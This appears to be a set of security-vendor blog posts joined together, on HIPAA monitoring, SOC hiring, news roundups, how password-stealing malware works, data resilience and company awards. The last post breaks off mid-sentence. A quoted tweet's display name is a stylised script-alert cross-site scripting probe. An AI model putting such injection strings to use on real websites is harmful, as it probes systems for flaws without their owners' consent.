Monitoring and Breach Notification Protocols The Breach Notification Rule, 45 CFR §§ 164.400-414, requires HIPAA covered entities and business associates to provide notifications if they experience a breach that involves unsecured protected health information. Security management platforms can help to simplify and automate monitoring for breaches on your network, ensuring you are able to more quickly detect and contain a breach, as well as provide the required notifications. As more organizations in healthcare are migrating data and applications to the cloud, make sure the technology you’re choosing offers advanced threat detection across both on-premises and multi-cloud environments. Simplify compliance management by choosing a solution that combines an array of essential security capabilities in one platform. These may include, but are not limited to: asset discovery, vulnerability assessment, intrusion detection, behavioral monitoring, endpoint detection and response, SIEM event correlation, file integrity monitoring (FIM), and log management. By combining these use cases in a single dashboard, you are better able to quickly identify, analyze, and respond to emerging threats that target your EHR environment. Intelligence it key to threat detection and incident response, so consider vendors who have in-house research teams as well as access to external threat intelligence communities and other sources that can provide insight into the latest global threats and vulnerabilities — and in particular, those that are specific to healthcare. However, intelligence without context will create lot of distracting “noise” for your team. So, check that the solution goes beyond just providing intelligence to incorporating it directly into your dashboard, including providing recommendations on how to respond to identified threats. With this intelligence and guidance at your fingertips, you can react quickly to the latest tactics, techniques, and procedures used by threat actors. And, you are assured of an always-up-to-date and optimally performing security monitoring solution. Need more info on how to respond to a breach? See the HHS Quick Response Checklist. Step 5: Continuously evaluate and manage risk Whether you are managing ongoing HIPAA compliance internally or are using an external organization, avoid last-minute scrambling for annual evaluations and audits by employing a year-round risk management program. Such a program requires having real-time visibility of your environment, including system component installations, changes in network topology, firewall information, and product upgrades. Use a unified platform to gain this visibility and enable monitoring in a central location (opposed to various point solutions). Here are a few examples of where a platform would be helpful for continuous risk and compliance management: Manage assets and risks Examples: Use automated asset discovery for on-premises and cloud environments and then create asset groups such as business critical assets or HIPAA assets for ongoing monitoring, management and reporting. Identify systems with known vulnerabilities and use correlation rules to detect threats. Monitor access control; data security; information protection, processes and procedures; and protective technology Examples: Monitor for successful and failed logon events to assets. Monitor for communications with known malicious IP addresses or use file integrity monitoring (FIM) to detect, assess and report on changes to system binaries, and content locations. Schedule vulnerability scans, automate assessments, and plan for mitigation. Review events and detected incidents. Detect anomalies and events; and ensure continuous security monitoring and detection processes Examples: Aggregate events from across on-premises and multi-cloud environments. Classify threats based on their risk level. Monitor for stolen credentials, malware-based compromises such as communication to a known command and control (C&C) server, anomalous user and admin activities, file integrity, and vulnerabilities. Automate event and incident analysis; mitigation Example: Automate forensics tasks to be executed in response to a detected threat and simplify forensics investigations with filters, search and reporting capabilities for event and log data. Automate actions to contain threats, such as isolating systems from the network. Automated reporting Use out-of-the box reporting to document that you’ve made an accurate assessment of the risks and vulnerabilities to the confidentiality, integrity and availability of all electronic PHI — and to quickly show the status of technical controls that align to HIPAA or other regulations. Maintaining adherence to HIPAA is no small feat considering the dozens of criteria that are considered in the HIPAA Audit Checklist. Attempting to manage your compliance program manually and without the help of expert healthcare security consultants will not only take up massive amounts of time, it could result in your team missing an essential component of the regulation, or worse yet, enduring a breach that compromises patient data or takes down the network. However, with the right mix of people, processes and technology, it’s not an impossible to stay on top of compliance management while ensuring your network is secure and patient data protected year-round. HIPAA Regulations HIPAA Privacy Rule: This Rule set national standards for the protection of individually identifiable health information by three types of covered entities: health plans, healthcare clearinghouses, and health care providers who conduct the standard healthcare transactions electronically.  HIPAA Security Rule: This Rule sets national standards for protecting the confidentiality, integrity, and availability of electronic protected health information. The Privacy Rule is located at 45 CFR Part 160 and Subparts A and E of Part 164 (e-PHI). HIPAA Breach and Notification Rule: The HIPAA Breach Notification Rule, 45 CFR §§ 164.400-414, requires HIPAA covered entities and their business associates to provide notification following a breach of unsecured protected health information.       

I got curious about what kind of people are most desired in a Security Operations Center (SOC). I wondered how accepting InfoSec blue teamers would be to having a team member with a great attitude and system administration or network management skills, versus someone with deep InfoSec knowledge and skills. So I did a poll on Twitter to learn more.  After reviewing the Twitter poll results and the very insightful comments, I was even more curious about how SOC hiring decisions are made. Luckily, one of my Twitter pals reached out via DM and indicated he is a SOC hiring manager! And he’d be happy to have a call with me to give me the scoop on what he looks for when hiring for his SOC as long as he remained anonymous!  While I can’t name him, I can tell you he has 20+ years of experience in the InfoSec industry and is in the process of building his second SOC. The first team he built had about 25 people, was focused on infrastructure rather than cloud, and encompassed both SOC and GRC. The team he is building out now is focused on outsourcing (MSSP), which is a different story entirely. Here are his insights: Age is a Number He made the excellent point that the terms "junior" and "senior"  SOC analysts relate more to experience in a SOC vs the person's age. Older folks doing a career transformation might well be considered “junior" and someone in their 20’s who has had a home lab and network might have years of useful experience and be considered “senior”. A Balanced SOC Team The best team mixes some senior folks with junior people. A lot of SOC work is a *grind* with eyes always on the glass. Whereas junior folks can be quite happy to do that for a few years, some more senior folks may want to get into other roles than the front line of defense. In addition, your first job in InfoSec may be a stepping stone to where you want to get. You might want to be a malware researcher, but starting as a blue team defender is an excellent way to learn more about malware. Mainly Cloudy Times are changing – whereas deep skills on particular hardware, like a specific firewall, may have been important in the past, now SOC hiring managers tend to me more cloud oriented. They’re looking for a blend of skills, including DevOps, SecOps, scripting, cloud instrumentation and understanding of cloud infrastructure. Hiring managers are looking for nimble applicants with a flexible skill set. For example, to be good in a SOC job today, you will likely need to know how to monitor application logs as well as traditional security controls. Advice for Students Don’t be afraid to get your hands on tech. Classes are one thing – but also build yourself a home lab. Show some enthusiasm and initiative. Be flexible – avoid just knowing a few specific tech tools. Network! (More to come on that). Advice for Curmudgeons If you’ve “seen it all” – you might appear grumpy. Grumpiness is OK, as long as you work with and support the junior folks. The SOC team isn’t a great place for a grump who wants to just be left alone. Toxic people are not welcome on a SOC team, no matter what skills they may have. Important Tech Checklist for SOC Coding / scripting Understanding of network stack and knowing things like how routing, VLANs and ACLs work Machine Learning / Automation (at least take some free courses for awareness) Core security controls Cloud technology infrastructure Can a Red Teamer Be Good in a SOC? Sure, if they want to be on the Blue Team. They typically have the right skill set. However, Red Teamers live to find and exploit weaknesses. Red Teamers don’t always have to follow rules. Blue Team is defense in depth. Blue Teamers have to follow rules. Career Networking On social, Twitter is great. LinkedIn can be useful too. There are local meetup groups all over that are free to attend. You can hear talks and meet other people in the industry without having to travel to attend an expensive conference. Here's the Poll and Some Excellent Comments and Observations:  In a SOC, would you rather hire a person new to infosec w good attitude & great sys admin / network mgt skills or a curmudeon with badass infosec knowledge & proven track record in SOC. Comments on rationale appreciated. — Kate Brew (@securitybrew) November 25, 2018 The best part was the comments! Here are a few excerpts to demonstrate the common threads.  A Good Attitude Is Clearly Appreciated Good attitude every time. Much easier to train technical skills than people skills. — Chris (@church_of_chris) November 25, 2018 Aren't we seeing this play out now? There r 2 many opptys in the market for ppl to stay and be treated like crap. People will leave. We are seeing burnout up the wazzoo, ppl leaving, ppl afraid of making a mistake, let alone a suggestion. Hire the noob Train, train, train them — javascript jesus is watching you! (@ravici) November 25, 2018 Hard to say without knowing what the responsibilities would be, but generally I'd take the good attitude. People who are hungry and driven can learn the skills they lack, but it's harder to get someone to unlearn being jaded and negative, and spreading that vibe to everyone else. — ��l̶u̶0̷ (@blu0x30) November 25, 2018 In Defense of Curmudgeons   Dark humour is not the same as a bad attitude and burnout can heal — Heidi ������ (@winter_heidi) November 25, 2018 I feel like in tech (not sure about infosec) curmudgeon is a euphemism for "straight-up jerk". But I'd easily take someone competent over someone who's not, provided they're *just* a little grumpy. — Vanessa McHale (@vamchale) November 25, 2018  No Love for Toxic People! A SOC has to work closely together. A curmudgeon stops the communication flow. — Nasty Woman Voter (@sforslev) November 25, 2018 Yet if a curmudgeon doesn’t have the soft-skills necessary to navigate conflict, challenges etc & instead they utilize FUD (fear, uncertainty & doubt) as their professional strategy - no matter how badass their infosec knowledge is - they kill the positive vibe of the SOC & org — Kyle F. Kennedy (@Kyle_F_Kennedy) November 25, 2018 years ago we hired the most brilliant system admin I've ever worked with, but he had 0 people skills and started to make it a toxic work env he was so bad working with others people were on the verge of quitting to not have to deal with him, i'd lean towards good attitude. — Space Force Panda (@TrashPandaFTW) November 25, 2018 I’d rather invest time in developing potential than repairing damage from a curmudgeon. That said, it depends on the mission and cultural context. Theoretically, the mission (and culture) might force acceptance of the trade-offs that come with a highly-capable curmudgeon. — ＜script›alert（＇ｃｈｒᎥｓ ｃɑｌνｅｒｔ＇）;‹／script› (@securedaemon) November 26, 2018 SOC Needs a Team / Balance I'm the curmudgeon, and I balance the 5 neophytes. It's a good ratio - for a Red Team. I suspect the ratio would work differently on the blue side, coming from there. Company culture also plays a role in quantifying these ratios, I think. — Abe Snowman - Yeti Vigilante ☃️ (@AbeSnowman) November 26, 2018 I’d hire either. It would also depend on the current makeup of the team. If you have a bunch of info sec people with out sys/net admin chops then the new blood will be good. If it’s the other way then the curmudgeon would be good. Cross pollination is good. — Michael Fourdraine (@mfourdraine) November 25, 2018 One curmudgeon to five enthusiasts - and a good manager over them all. — John (@JohnDCosby) November 25, 2018 Regardless if they are in a SOC or not. Challenging concepts & ideas is healthy. Conflict can be good for orgs as it encourages open-mindedness & helps avoid the tendency toward group thinking (which could become bully thinking) that many organizations fall prey to. — Kyle F. Kennedy (@Kyle_F_Kennedy) November 25, 2018 Conclusion I really appreciated the insights I got from the Twitter poll and speaking with my Twitter pal who is a SOC hiring manager. I hope this info is helpful to folks looking to move into Blue Team. Here’s another blog with career and networking advice.         

It’s December, so you’re either on holiday, wishing you were on holiday, or hoping the next security article you read isn’t related to predictions. Well, I can’t help you with the holidays, but I can promise there will be no predictions here. It’s just good old-fashioned news of the juiciest news that made my heart flutter US Postal Service Ah, the good old USPS was running a weakness that allowed anyone who has an account to view details of around 60 million users, and in some cases modify the account details on their behalf. Luckily, a security researcher spotted the error about a year ago and notified USPS. Unluckily, the USPS didn’t respond to the researcher or fix the issue. Luckily, the researcher reached out to little known cyber-reporter by the name of Brian Krebs who contacted USPS and lo-behold a miracle happened and the issue was fixed in 48 hours! USPS Site Exposed Data on 60 Million Users | Krebs on Security This raises the question as to is there anything lesser-known researchers who don’t have the public profile of Brian Krebs can do to help companies fix issues outside of a formally defined bug bounty program? Back in September, Troy Hunt posted on the very topic on the effectiveness of publicly shaming bad security. And not to say I agree with shaming companies, but when you look at instances like USPS, you do wonder if there is a better way. The Effectiveness of Publicly Shaming Bad Security | Troy Hunt GCHQ Reveals it Doesn't Always Tell Firms if Their Software is Vulnerable to Cyber Attacks In other words, spy agency keeps secrets. There are four reasons given as to why GCHQ may not disclose flaws, being: There is no way to fix it The product is no longer supported The product is so poorly designed it can never be secure There is an overriding intelligence requirement that cannot be fulfilled in any other way I particularly like number 4 as the catch-all clause. You could say there’s an overriding intelligence requirement to almost anything, and refuse to release any details under secrecy laws. I’m not necessarily bashing GCHQ, governments have been known for stockpiling exploits. They have a particular mission and objective, and this is how they go about fulfilling it. However, it does mean companies should not rely solely on GCHQ or other government agencies for their threat intelligence. Rather, building its own capabilities and threat sharing channels remain necessary. GCHQ reveals it doesn't always tell firms if their software is vulnerable to cyber attacks. | Sky News Scamming the Scammers I don’t think there are many stories more satisfying than when scammers get taken for a ride. This time courtesy of Hacker Fantastic who got contacted by the famous singer Rhianna out of the blue to help her get some money. Scamming the scammers | Medium, Hacker Fantastic ENISA Releases Online NIS Directive Tool ENISA released an interactive tool showing the relevant national laws and regulations, and per sector and subsector the national authorities supervising the NIS Directive. It’s pretty cool. NIS Directive Tool | ENISA Open Source Intelligence: A Key Under The Proverbial Mat In an age when everyone is connected, many businesses are forced to interact with the public via the internet. People are carrying small computers (phones) in their pockets with more homes having computers than generations before us. According to the U.S. Census Bureau's 2015 Computer and Internet Use in the United States: American Community Survey Reports, "Among all households, 78 percent had a desktop or laptop, 75 percent had a handheld computer such as a smartphone or other handheld wireless computer, and 77 percent had a broadband Internet subscription." Open Source Intelligence: A Key Under The Proverbial Mat | Forbes Why Security Firms Do Not Share The Cost Of Bad Reputation After A Cyberattack? The whole security story looks as if it were a play where at the beginning both customer and security firm share the publicity lights when they sign a contract, but soon the lights turn off, the disaster strikes and it turns into a one-act play. This is where I agree that more transparency is needed, and insurance or warranties can go a long way to help in this regard. Why Security Firms Do Not Share The Cost Of Bad Reputation After A Cyberattack? | Forbes Related to infosec warranties Jeremiah Grossman: On InfoSec Basics, Incentives, and Warranties | AlienVault On The Insecurity of Math.Random and it’s Siblings During code reviews we often see developers using weak RNGs like math.random() to generate cryptographic secrets. We think it is commonly known that weak random number generators (RNG) must not be used for any kind of secret and recommend using secure alternatives. I explicitly did not state a specific language yet, because basically every language offers both weak and strong RNGs. So I asked myself: What if I use a weak RNG to generate a secret? Is it possible to recover the secret from some derived value, like a hash? On the insecurity of math.random and it’s siblings | Insinuator Why Hospitals Are The Next Frontier of Cybersecurity Hospital cybersecurity is a pressing problem with unique challenges and incalculable stakes. The healthcare industry’s accelerating adoption of sophisticated networks, connected devices and digital records has revolutionized clinical operations and patient care but has also left modern hospitals acutely vulnerable to cyber attack. Recent high-profile hacks have brought these mounting threats sharply into focus. However, despite increasing efforts and awareness, a number of technological, cultural and regulatory issues complicate healthcare cybersecurity. Why hospitals are the next frontier of cybersecurity | HelpNetSecurity Other Things I Liked We’re No Longer in Smartphone Plateau. We’re in the Smartphone Decline. | NYMag Antitrust, the App Store, and Apple | Stratechery PETA wants to change ‘anti-animal’ sayings, but the Internet thinks they’re feeding a fed horse | Washingtonpost       

Password security has always been a challenge. Brute force attacks are constantly getting more powerful, but they aren’t the only threat you have to worry about. A range of password stealing malware continues to grow in popularity. One example, Agent Tesla, has seen its detection rate grow 100% in just three months, according to data from LastLine. Despite this rapid growth, Agent Tesla is far from the most popular. That title goes to Pony, which represents 39% of the total password stealer detections, according to Blueliv’s 2018 report, The Credential Theft Ecosystem. LokiPWS and KeyBase trailed Pony at 28% and 16%, respectively. These password stealers are each capable of stealing credentials and other information from a wide variety of programs. Each is unique with its own techniques for delivery and a range of features that hackers can use to mount attacks. Despite the differences, each of these programs can have severe impacts on their victims. The negative impacts can range from having all of the money stolen from an individual’s accounts, to the theft of a company’s intellectual property. The key features of some of the most common password stealers are listed below: Agent Tesla Like most password stealers, Agent Tesla can access a wide variety of your information, ranging from your credentials to your keystrokes. It can even take screenshots and videos from your device’s camera. Agent Tesla targets a number of major programs, including web browsers, email clients, FTP applications and other commonly used software. Once Agent Tesla has been installed on a target’s computer, it can also be used to download other malware. This feature allows threat actors to intensify their attacks and make them even more devastating. Its pricing shows that the malware industry hasn’t been left behind in the X-as-a-service boom, because it is available as part of a plan that starts from $15 per month. This price includes all the 24/7 support someone might need to assist them in their criminal endeavors. Of course, payments are made in Bitcoin. Despite running what must have been an incredibly profitable business, Agent Tesla’s creators have recently posted an update stating it will crack down on illegal use of the program. Under its terms of service, it declares that the software must only be used within the law, but features such as anti-antivirus throw these intentions into question. Due to the recent media attention that Agent Tesla has received, the developers will strip some of its more questionable features, such as anti-antivirus and webcam capture. They also claim to be banning those who are using the program maliciously. Only time will tell whether the creators are sincere, or if this is merely an attempt to keep the authorities from knocking down their doors. Pony Pony is currently the most popular password stealer, but it’s certainly not new. In the past, it has been used to control a number of enormous botnets, which by 2013 had already stolen more than two million credential sets. In 2014, it involved into a series of attacks that stole $200,000 worth of cryptocurrencies, as well as 700,000 sets of credentials. In recent years, Pony has seen prominence as a loader alongside other malware, such as CryptoWall and Angler. These programs, a type of ransomware and an exploit kit, respectively, help attackers launch even more devastating assaults. LokiPWS As the second most commonly encountered password stealer, LokiPWS has been involved in a significant number of attacks. It can be purchased from a range of illicit marketplaces for between $200 and $400, depending on the desired functionality. LokiPWS is comprised of a loader, a password stealer and a wallet stealer, which makes it useful in a variety of attacks. TrickBot TrickBot was originally a banking trojan, but has since been updated to steal other credentials as well. This malware is modular and continues to have new features added by its developers. The coding for the newest components isn’t as clean as the earlier parts, but if it continues to be refined, we could see TrickBot used in a greater number of password stealing scams. Common Attack Vectors   Attackers can load password stealers to their target’s systems in the same ways as most malware. These include social engineering, fake Adobe flash and other program updates, drive-by downloads, and through “free” online software. The following are some of the most common techniques that we see associated with password stealers: Social Engineering Social engineering (a.k.a. phishing) is one of the most prominent methods that hackers use to load password stealers onto their victims’ computers. They commonly use convincing emails to trick the recipients into downloading an attachment. The level of sophistication in the email will depend on the attacker’s game plan. Some may send highly-tailored emails to a select group of people in the hopes of convincing a large percentage to download the attachment. Others may put less effort into each email, but send them to a much greater number of people. The rate of success won’t be anywhere near as high, but this technique allows them to attempt to manipulate a much larger group of people. The attachments can take many forms, including RTF files, PDF files, PUB files, DOC and DOCX files, XLS files, EXE files, images and more. It is common for the malware to be disguised as seemingly legitimate invoices and other important documentation. These tricks can easily fool users into unwittingly granting access to the password stealer. A recent campaign has been taking advantage of vulnerabilities to spread both LokiPWS and Agent Tesla. The target is tricked into downloading a DOCX file, which in turn downloads an RTF file. This technique takes advantage of both a Microsoft Office remote code execution flaw, as well as a memory handling bug, in order to help slip the malware past antivirus software.        TrickBot is often hidden in Excel files. In these attacks, the user is told that the document was created with an older version of the program, and that they need to “enable content” in order to access the file. Clicking this button runs the macros, which kicks off the malicious code and begins the TrickBot download. Agent Tesla even has a customizable “Fake Message” option. This allows an attacker to tailor a pop-up that convinces the target to install the malware. This feature makes it simple to create a legitimate-looking dialogue box that might say something like “This program needs to be updated before it can launch. Update now?” Users will often click to run the update without even thinking about it. Something so simple can end up having dramatic effects, because of course, the program isn’t actually being updated. What’s really going on is that Agent Tesla is tricking the user into letting it install itself.          Attacks Launched from USBs Malware like Agent Tesla can also be preconfigured to run from a USB stick. This gives attackers more imaginative ways to upload their malware onto a target’s computers. One example involves threat actors leaving a bunch of malware-riddled USBs in an employee car park in the hope that some curious workers will pick them up and plug them into their office computers. When the USB is plugged in, Agent Tesla loads to the computer and can begin logging everything that the user does. Getting Past Your Computer’s Defenses Computers and networks have a range of defenses that help keep the bulk of malware at bay. These aren’t perfect, because the landscape of cyber threats is constantly evolving. This makes it much more challenging to prevent cutting-edge attacks. Agent Tesla has a wide variety of configuration options that enable threat actors to customize how they launch their attack to bypass defenses. With just a few clicks in an easy-to-use settings menu, an attacker can choose whether to disable the target’s Task Manager, how it will get past anti-analysis tools, whether it will launch automatically after rebooting, and much more. The Agent Tesla website used to feature support that gave tips on getting around defenses, including advice on how to hide the malware in other files, and how to trick security tools. The website may have claimed that the software was only designed for monitoring personal computers, but all of this auxiliary information hints at other intentions. How Do Password Stealers Take Your Credentials? Once a password stealer has made its way onto the target’s systems, it starts getting to work. There is some variance in how each of these programs function, but many of the core elements and features are the same. Keyloggers Keyloggers are some of the most commonly used tools for stealing credentials and other information that may be useful to attackers. They can be set up to record every keystroke that the target makes, sending the data back to the attacker. Of course, whenever the target types their usernames and passwords, this information goes straight into the attacker’s hands. Clipboard access Many password stealers can also access the data that is being stored in your clipboard. Clipboards aren’t a secure part of your computer, and the information that is stored in them can be accessed by all active processes, which means that malware can also take this information. This is somewhat worrying for those whose password manager uses the clipboard, but the majority of these programs tend to erase the data straight away. If you ever have to manually copy a password, it’s probably best to clear the clipboard after you have finished pasting. Screenshots It’s also common for password stealers to take screenshots of their target’s activity. This helps attackers keep track of what their victims are doing and enables them to log even more of their information. Videos Some password stealers can hijack a device’s camera and take pictures or video. This allows threat actors to build up an even greater profile of information on their victims. Which Programs Do Password Stealers Target? Most of the common password stealers can take credentials and other information from a wide variety of applications. These include common web browsers like Chrome, Safari, Microsoft Edge and Opera, FTP programs like FileZilla and WinSCP, email clients like Outlook, and many more. Some of these password stealers are set up to access data from more than one hundred commonly used programs. How Does This Information Get Sent Back to the Threat Actor? Once password stealers get their hands on your valuable data, they send it back to the attacker. The information is surreptitiously sent to a server, and then either to the attacker’s email or a dashboard. These dashboards vary in complexity, but some provide an impressive array of organization that makes it easy for threat actors to keep track of a large number of victims. As an example, Agent Tesla’s dashboard shows the progress of attacks against each of its targets. Menus clearly show the keystrokes, screenshots, passwords and other data that has been collected. Once an attacker has this data, they can either sell it in bulk, use it to steal from you, or use it to mount further attacks and penetrate your systems more deeply. How Can Password Stealers Impact Organizations and Individuals? Passwords are one of the most important systems that we have for controlling access to our data. Now that we conduct significant parts of our work and personal lives online, this makes them gateways to incredible amounts of our information. Password stealers can easily grant access to many aspects of our lives and businesses, and the impacts can be disastrous and wide-reaching. At a personal level, password stealers can enable threat actors to withdraw money from your bank account, hijack your social media or even commit complete identity theft. Organizations also face significant threats, because password stealers have the potential to give a threat actor complete access. Once an attacker is inside a company’s systems, they can copy its intellectual property, steal its data, lock up its information with ransomware, or even attempt extortion. The results can be as broad as an attacker’s imagination. Staying Safe from Password Stealers As you can see, password stealers represent a significant threat. Unfortunately, there is no surefire way to completely guard yourself and your organization. Despite this, following security best practices will reduce the risks to an acceptable level, especially if adequate staff training is part of the process. Individuals and employees need to be aware of the risks and only open attachments if they are certain that they are legitimate. It’s important to encourage a workplace culture where employees feel comfortable to check with IT whenever they are unsure of a potential security issue. Implementing two-factor authentication is another crucial mitigator. If an authentication process requires a token, biometric input, an authenticator app or an SMS code in addition to the user password, it can make it significantly more difficult to break into the systems. Password stealers can grant absolute access to our online worlds, so it’s important to be vigilant against them. While there are some programs that claim to be able to remove them, like all things in cybersecurity, it is much less costly to focus on prevention.       

Businesses rely on technology more today than they ever have in the past. In fact, many business models are built entirely around a technology which, if disrupted, could spell ruin. A traditional business with a brick and mortar presence is probably better-placed to withstand an extensive online disruption or outage. For example, if a bank’s online system or mobile app is unavailable, it has other options to fall back on – even if it does involve customers physically having to walk into branches to deposit cheques. But those examples are rare, and even the most traditional of businesses are embracing the digital revolution at a rapid pace, vaporizing physical assets in the process. One only has to look at their smartphone and see how many physical items it has replaced, from maps, to flashlights, to cameras. So, it’s important that the digital infrastructure that underpins the modern world is resilient. The ‘A’ in the security CIA of ‘Confidentiality, Integrity and Availability’ helped professionals focus on business continuity planning, and disaster recovery. But have we been focusing on the wrong things? Earthquake Resilient Buildings Recently a building surveyor was explaining to me the concept of earthquake-resilient buildings. He highlighted an important point that in most countries, building code objectives are mapped to collapse resilience, not to damage. The analogy is akin to a car which has designated crumple zones to absorb the brunt of the force during an accident. In other words, resilience in buildings and vehicles is all about saving lives - not the building or the vehicle. Which makes me wonder whether businesses have focused on building resilience into the wrong parts. Is the industry focused more on saving the building or the vehicle at the expense of lives? Broadly speaking, while lives are not literally at risk, (although with IoT making its way into every facet of life including medical devices, the risk does increase), there is a lot of personal information that companies are in possession of which slips through the radar of most planning sessions. The response often summed up as, “let’s offer free credit monitoring for a year for our affected customers.” In the building analogy, it’s the equivalent of, “Sorry your building collapsed and everyone died during the earthquake. Here’s a year’s coupon to stay in a local hotel.” Crown Jewels Companies are pretty good at protecting their own crown jewels. But they’re often limited in what they do for their customers. One of the reasons is that the emphasis is put on the wrong type of information. PCI DSS is a well-meaning standard, but forced companies to focus on protecting payment card data. The problem with this approach is that card data is pretty much a commodity. It naturally ages, and new cards need to be issued as a matter of course. A breach simply accelerates the process. The point being that payment cards have natural resilience built into them. That’s not to say that when cards are breached there isn’t a cost associated. It’s to avoid bearing the burden of these costs that card issuers rallied to have PCI DSS implemented, with the threats of big penalties to any company that was beached. This in turn forced companies to disproportionately invest into protecting card numbers over actual customer information. Protecting the buildings at the expense of its inhabitants. Regulations like GDPR are a step in the right direction with its focus on protecting the privacy of individuals. However, it too wields a big stick with the threat of massive fines. So, companies will do what they can to protect their businesses. Retrofitting protection The evolution of many companies mean that protection is often retrofitted under the guise of compliance. But there is a significant difference between retrofitting to prevent business damage, and retrofitting to prevent the entire business collapsing. We need to shift the way we think of information and the controls we put in place that can not only withstand the metaphoric cyber earthquake, but also protect its customers. The first part of this is for businesses to understand what aspects of its digital infrastructure are   commodities or standard offerings that can be swapped out or replaced relatively easily, versus custom-designed and individual data that is irreplaceable. For this, the best place to start is the beginning. Design decisions need to be thought out better and not rely on decisions made from years gone by, when the digital landscape was a different place. Haroon Meer probably said it best when he described customer data as being toxic. It has its benefits, but companies should be prepared to wear hazmat suits when dealing with it. This includes not using personal information for trivial functions. For example, does every online registration require a user’s personal information such as date of birth? If not, then why capture it? Similarly, should the user’s email ID be used as their userID? As email has become more important for users, so has the risk of it being targeted. Maybe the data can be captured, but alternative methods used to protect it. Similar to how many companies choose to tokenize card data? Maybe your favourite pizza shop doesn’t need to store your address in all its databases, a tokenized version can suffice. So, if it does get breached, not only are the customer details protected, but business can continue with minimal disruption - allowing true resilience against such events. After all, what’s the point in protecting all your buildings if there’s no-one left to inhabit them?       

Three simple steps to protecting your small business Continued news reports of large-scale data breaches and the steady increase of cyber fraud like spam calls, identity fraud and unauthorized account access should be enough to scare anyone. So-called nation-state hackers attempting to infiltrate government entities and universities, massive data breaches, and new Ransomware threats are constantly in the headlines. So why doesn’t this encourage more small business owners to take cybersecurity more seriously? Many small businesses are currently going digital and moving data, applications and services to the cloud. In fact, the most innovative small businesses have embraced digital transformation as an integral part of their growth plans. This evolution makes their business more vulnerable to a lurking hacker. And perhaps too trustingly, many small business owners think that because of their size, they are not a target. Hackers don’t discriminate. Malware doesn’t discriminate.  Everyone is a target, and in fact, hackers see the data that small businesses have as a gateway to attacking larger businesses. And Malware essentially looks for open doors (i.e. unpatched machines) to infect. As we look to the start of a new year, there is no better time to assess your business’s cybersecurity posture – or in some cases start from scratch – to ensure you are prepared and can respond to cyberattacks. Here are a few affordable and simple recommendations that can improve your cybersecurity posture and help protect your business from the inevitability of a cyberattack in 2019: Stay Aware: The simplest thing you can do is to stay current on trends and threats affecting small businesses. We’ve seen unprecedented levels of attacks on small business in 2018, especially with Ransomware (where your device is essentially taken hostage for a fee). It’s essential to understand the types of attacks that could put your business at risk as well as the current cybersecurity landscape. Visit AT&T Cyber Aware for the latest news, information to report fraud associated with your AT&T Business account. Hire a consultant: A consultant can take a holistic look at your business, identify the gaps and help you understand how to improve your cybersecurity posture. While some see consultants as an added expense, their role is essential for small businesses that don’t have an IT or cybersecurity expert on staff. A consultant can help you develop and implement a plan for monitoring for threats, incident response and remediation that’s within your budget. Buy Cyber Insurance:  Cybersecurity insurance isn’t new. Large enterprises have had a cybersecurity insurance policy in place for decades now. However, 2019 is going to be the first year that it’s accessible and affordable to businesses of all sizes. For AT&T Business customers, this is made possible through policies, underwritten by CNA, with Lockton Affinity serving as the insurance broker.   A recent Ponemon Institute Report found that in 2017, cyberattacks cost small and medium-sized businesses an average of $2,235,000. That’s a staggering number that will only continue to increase as hackers become more sophisticated and continue to target the most vulnerable. My advice to small business owners – as you’re thinking about your holiday shopping list, add cyber insurance to that list to give yourself peace of mind. We know small businesses are focused on what they do best, and cybersecurity isn’t always top of mind. Let’s bring it to the top of the list for next year. Anne Chow, President – National Business, AT&T Business       

We’ve had a lot to celebrate this year. AlienVault, now an AT&T company, has received many awards, including three this quarter. In October, USM Anywhere was named the 2018 Cloud Security Solution of the Year after receiving the most votes in the industry. This recognition validates our SaaS-driven deployment model that integrates critical security capabilities into a unified platform enabling faster threat detection and response across cloud and on-premises environments. Here’s a photo of Sophia Anastasi, AlienVault UK Partner Account Manager, accepting the award at Computing Security’s awards ceremony. Our channel team is also receiving industry accolades. Last Thursday night at the Channelnomics Innovation Awards ceremony in New York City, Mike LaPeters, Vice President of Global Channels, accepted the award for Security Partner Program of the Year in North America. In October, Mike was selected as a winner of the 2018 Channel Futures Circle of Excellence Awards for his vision, innovation and advocacy of the indirect channel in helping AlienVault solution providers create business value for their customers. On AlienVault receiving these awards, Mike said, “Both of these awards are a testament to our focus on enablement. We help participants in the AlienVault Partner Program to create new opportunities for business growth, expansion and profitability powered by AlienVault USM.” With 2018 coming to close, we are excited to see what the new year brings as we continue to deliver phenomenal security products to our customers and solution providers.       

Last week I was off attending IRISSCON in Dublin and so there was no update, and this week I’ve been at the SAN EU security awareness summit - so while I have been hearting things for the last two weeks, I’ve not had a chance to put them down. I don’t want to miss two weeks in a row - so I’ll give you a quick download and hopefully normal service will resume next week! Chat app Knuddels fined €20k under GDPR regulation The chat platform violated GDPR regulation by storing passwords in clear text and for this reason, the regulator imposed its first penalty under the privacy regulation. Chat app Knuddels fined €20k under GDPR regulation | Security Affairs IOC Origins Richard Bejtlich gives a historical view into the origins of IoC’s The Origin of the Term Indicators of Compromise (IOCs) | TaoSecurity The spread of low-credibility content by social bots The massive spread of digital misinformation has been identified as a major threat to democracies. Communication, cognitive, social, and computer scientists are studying the complex causes for the viral diffusion of misinformation, while online platforms are beginning to deploy countermeasures. Little systematic, data-based evidence has been published to guide these efforts. Here we analyze 14 million messages spreading 400 thousand articles on Twitter during ten months in 2016 and 2017. We find evidence that social bots played a disproportionate role in spreading articles from low-credibility sources. The spread of low-credibility content by social bots | Nature.com The $1M SIM Swap A 21-year-old has been accused of SIM-swapping the mobile number of a Silicon Valley executive in order to steal roughly $1 million in cryptocurrency. SIM-swapping 21-year-old scores $1 million by hijacking a phone | ZDNet A day in the life of a trickbot hunter Nice writeup! Day in the life of a researcher: Finding a wave of Trickbot malspam | SANS Crypto hacking If you maintain any software libraries that deal with cryptocurrency wallet private key, there's a huge incentive for hackers to compromise your library's dependencies, and dependencies of dependencies. That's what happened with this npm package I don’t know what to say | GitHub Get SaaSy The NCSC's new SaaS security collection provides a lightweight approach for determining the security of any SaaS application. The collection also includes security reviews of the 12 most asked-about SaaS services used across UK government. SaaS security - surely it's simple? | NCSC Today's Deep Learning "AI" Is Machine Learning Not Magic Well, if AI isn’t magic, I should update my Uncybered browser plugin! Today's Deep Learning "AI" Is Machine Learning Not Magic | Forbes Chinese Ramp up AI When I read stories like this, my worry that machines will take over human jobs subsides. In this story, Chinese cities have rolled out AI-powered facial recognition technology to identify jaywalkers (because I’m sure they’ve solved every other crime out there). The results… well, can you say dystopian? AI Mistakes Bus-Side Ad for Famous CEO, Charges Her With Jaywalking | CX Live I hope to be this petty some day Zuckerberg told Facebook execs to stop using iPhone after Tim Cook privacy comments | Apple Insider Although, is it as petty as 50 